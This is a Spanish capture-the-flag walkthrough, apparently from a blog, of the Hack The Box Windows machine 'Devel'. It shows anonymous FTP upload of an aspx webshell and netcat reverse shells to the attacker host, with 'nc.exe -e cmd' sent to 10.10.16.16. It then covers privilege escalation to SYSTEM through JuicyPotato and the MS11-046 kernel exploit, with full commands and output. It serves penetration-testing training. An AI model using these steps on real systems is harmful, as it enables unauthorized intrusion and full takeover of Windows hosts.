Entrada

Devel

Devel

Skills

  • Abusing FTP + IIS Services
  • Microsoft Windows (x86) – ‘afd.sys’ (MS11-046) [Privilege Escalation]
  • Abusing SeImpersonatePrivilege (x86) - Juicy Potato [Privilege Escalation]

Certificaciones

  • eJPT
  • OSCP

Descripción

Devel es una máquina easy windows, nos autenticamos en el FTP con el usuario anonymous, subimos un archivo .aspx para ejecutar comandos. Gracias a este RCE (Remote Command Execution) nos mandamos una shell a nuestro equipo, una vez dentro explotamos el SeImpersonatePrivilege y ejecutamos un exploit de kernel, ambos nos garantizan una escalada de privilegios


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas windows suele ser 128, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
# ping 10.129.155.162
PING 10.129.155.162 (10.129.155.162) 56(84) bytes of data.
64 bytes from 10.129.155.162: icmp_seq=1 ttl=127 time=59.6 ms
64 bytes from 10.129.155.162: icmp_seq=2 ttl=127 time=108 ms
^C
--- 10.129.155.162 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 59.557/83.531/107.506/23.974 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.155.162 -oN openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-28 02:32 CEST
Initiating SYN Stealth Scan at 02:32
Scanning 10.129.155.162 [65535 ports]
Discovered open port 21/tcp on 10.129.155.162
Discovered open port 80/tcp on 10.129.155.162
Completed SYN Stealth Scan at 02:32, 26.68s elapsed (65535 total ports)
Nmap scan report for 10.129.155.162
Host is up (0.095s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.74 seconds
           Raw packets sent: 131087 (5.768MB) | Rcvd: 41 (2.657KB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# nmap -sCV -p 21,80 10.129.155.162 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-28 02:40 CEST
Nmap scan report for 10.129.155.162
Host is up (0.074s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.90 seconds

FTP Enumeration

Como hay un IIS al conectarnos por FTP podemos ver las rutas del IIS, por lo tanto si podemos subir un archivo con extensión .asp o .aspx probablemente obtengamos ejecución remota de comandos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# ftp 10.129.155.162
Connected to 10.129.155.162.
220 Microsoft FTP Service
Name (10.129.155.162:justice-reaper): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -a
229 Entering Extended Passive Mode (|||49176|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp> cd aspnet_client
250 CWD command successful.
ftp> ls -a
229 Entering Extended Passive Mode (|||49178|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          system_web
226 Transfer complete.
ftp> cd system_web
250 CWD command successful.
ftp> ls -a
229 Entering Extended Passive Mode (|||49180|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          2_0_50727
226 Transfer complete.
ftp> cd 2_0_50727
250 CWD command successful.
ftp> ls -a
229 Entering Extended Passive Mode (|||49182|)
125 Data connection already open; Transfer starting.
226 Transfer complete.

Abusing FTP

Localizamos cmdasp y copiamos estos archivos en nuestro directorio actual de trabajo desde el cual nos vamos a conectar por FTP

1
2
3
4
5
6
# locate cmdasp              
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx/cmdasp.aspx

# cp /usr/share/webshells/asp/cmdasp.asp .
# cp /usr/share/webshells/aspx/cmdasp.aspx .

Subimos el archivo cmdasp.aspx por FTP, he probado a subirlo en los demás directorios pero solo me deja en este, además he usado al final el archivo .aspx debido a que el .asp no me lo interpreta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# ftp 10.129.155.162
Connected to 10.129.155.162.
220 Microsoft FTP Service
Name (10.129.155.162:justice-reaper): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> put cmdasp.aspx
local: cmdasp.aspx remote: cmdasp.aspx
229 Entering Extended Passive Mode (|||49200|)
125 Data connection already open; Transfer starting.
100% |******************************************************************************************************************************************|  1442       17.62 MiB/s    --:-- ETA
226 Transfer complete.
1442 bytes sent in 00:00 (6.36 KiB/s)

Web Exploitation

Al acceder al http://10.129.155.162/cmdasp.aspx probamos a ejecutar comandos y funciona

Intrusión

Nos copiamos nc.exe a nuestro directorio actual de trabajo

1
2
3
4
5
# locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe

# cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .

Nos montamos un servidor smb en nuestro directorio actual

1
# impacket-smbserver smbFolder $(pwd) -smb2support

Nos ponemos en escucha por el puerto 9993 con netcat

1
# nc -nlvp 9993

Desde la web ejecutamos este payload

1
\\10.10.16.16\\smbFolder\nc.exe -e cmd 10.10.16.16 9993

Ganamos acceso a la máquina víctima

1
2
3
4
5
6
7
8
9
# nc -nlvp 9993
listening on [any] 9993 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.155.162] 49202
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web

Privilege Escalation (First Method)

Listamos nuestros privilegios actuales y vemos que SeImpersonatePrivilege está activado por lo tanto podemos convertirnos en el usuario Administrator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

Listamos la información del sistema, para verificar si podemos utilizar JuicyPotato para convertirnos en Administrator o debemos usar una herramienta alternativas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
c:\windows\system32\inetsrv>systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:   
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 ��
System Boot Time:          28/7/2024, 3:30:22 ��
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     3.071 MB
Available Physical Memory: 2.347 MB
Virtual Memory: Max Size:  6.141 MB
Virtual Memory: Available: 5.425 MB
Virtual Memory: In Use:    716 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection 4
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.129.0.1
                                 IP address(es)
                                 [01]: 10.129.155.162
                                 [02]: fe80::11b7:e738:3f31:b822
                                 [03]: dead:beef::d120:907d:57ca:f12f
                                 [04]: dead:beef::11b7:e738:3f31:b822

Nos descargamos el .exe en nuestro equipo https://github.com/ivanitlearning/Juicy-Potato-x86/releases. En esta web https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise/ podemos consultar los CLSID disponibles para nuestra versión, que es Windows 7 Enterprise, si uno no funciona debemos probar otro. Nos transferimos el nc.exe y el JuicyPotato.exe a la máquina víctima, para ello nos debemos montar un servidor smb primero en el mismo directorio donde se encuentran estos archivos

1
# impacket-smbserver smbFolder $(pwd) -smb2support
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
c:\Windows\Temp\privesc>copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
        1 file(s) copied.

c:\Windows\Temp\privesc>copy \\10.10.16.16\smbFolder\nc.exe .
copy \\10.10.16.16\smbFolder\nc.exe .
        1 file(s) copied.

c:\Windows\Temp\privesc>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of c:\Windows\Temp\privesc

28/07/2024  04:15 ��    <DIR>          .
28/07/2024  04:15 ��    <DIR>          ..
28/07/2024  04:11 ��           347.648 JuicyPotato.exe
28/07/2024  04:13 ��            28.160 nc.exe
               2 File(s)        375.808 bytes
               2 Dir(s)   4.641.300.480 bytes free

Nos ponemos en escucha con netcat por el puerto 9001

1
# nc nlvp 9001

Ejecutamos el JuicyPotato en la máquina víctima

1
2
3
4
5
6
7
8
9
10
Juicy.Potato.x86.exe  -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\privesc\nc.exe -e cmd.exe 10.10.16.16 9001" -t *
Juicy.Potato.x86.exe  -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\privesc\nc.exe -e cmd.exe 10.10.16.16 9001" -t *
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
......
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Windows\Temp\privesc>

Nos convertimos en el usuario Administrator

1
2
3
4
5
6
7
8
9
# nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.155.162] 49214
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Privilege Escalation (Second Method)

Listamos los privilegios del sistema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
c:\windows\system32\inetsrv>systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:   
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 ��
System Boot Time:          28/7/2024, 3:30:22 ��
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     3.071 MB
Available Physical Memory: 2.347 MB
Virtual Memory: Max Size:  6.141 MB
Virtual Memory: Available: 5.425 MB
Virtual Memory: In Use:    716 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection 4
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.129.0.1
                                 IP address(es)
                                 [01]: 10.129.155.162
                                 [02]: fe80::11b7:e738:3f31:b822
                                 [03]: dead:beef::d120:907d:57ca:f12f
                                 [04]: dead:beef::11b7:e738:3f31:b822

La versión del sistema operativo OS Version: 6.1.7600 N/A Build 7600 es vulnerable al parecer, he estado investigando y he encontrado este exploit https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe. Para transferirlo a la máquina víctima nos montar un servidor SMB en el mismo directorio del exploit

1
# impacket-smbserver smbFolder $(pwd) -smb2support

Nos descargamos el binario en la máquina víctima

1
2
3
C:\Windows\Temp\privesc>copy \\10.10.16.16\smbFolder\ms11-046.exe 
copy \\10.10.16.16\smbFolder\ms11-046.exe 
        1 file(s) copied.

Ejecutamos el exploit y nos convertimos en nt authority\system

1
2
3
4
5
6
7
8
9
10
C:\Windows\Temp\privesc>copy \\10.10.16.16\smbFolder\ms11-046.exe 
copy \\10.10.16.16\smbFolder\ms11-046.exe 
        1 file(s) copied.

C:\Windows\Temp\privesc>ms11-046.exe 
ms11-046.exe 

c:\Windows\System32>whoami
whoami
nt authority\system
Esta entrada está licenciada bajo CC BY 4.0 por el autor.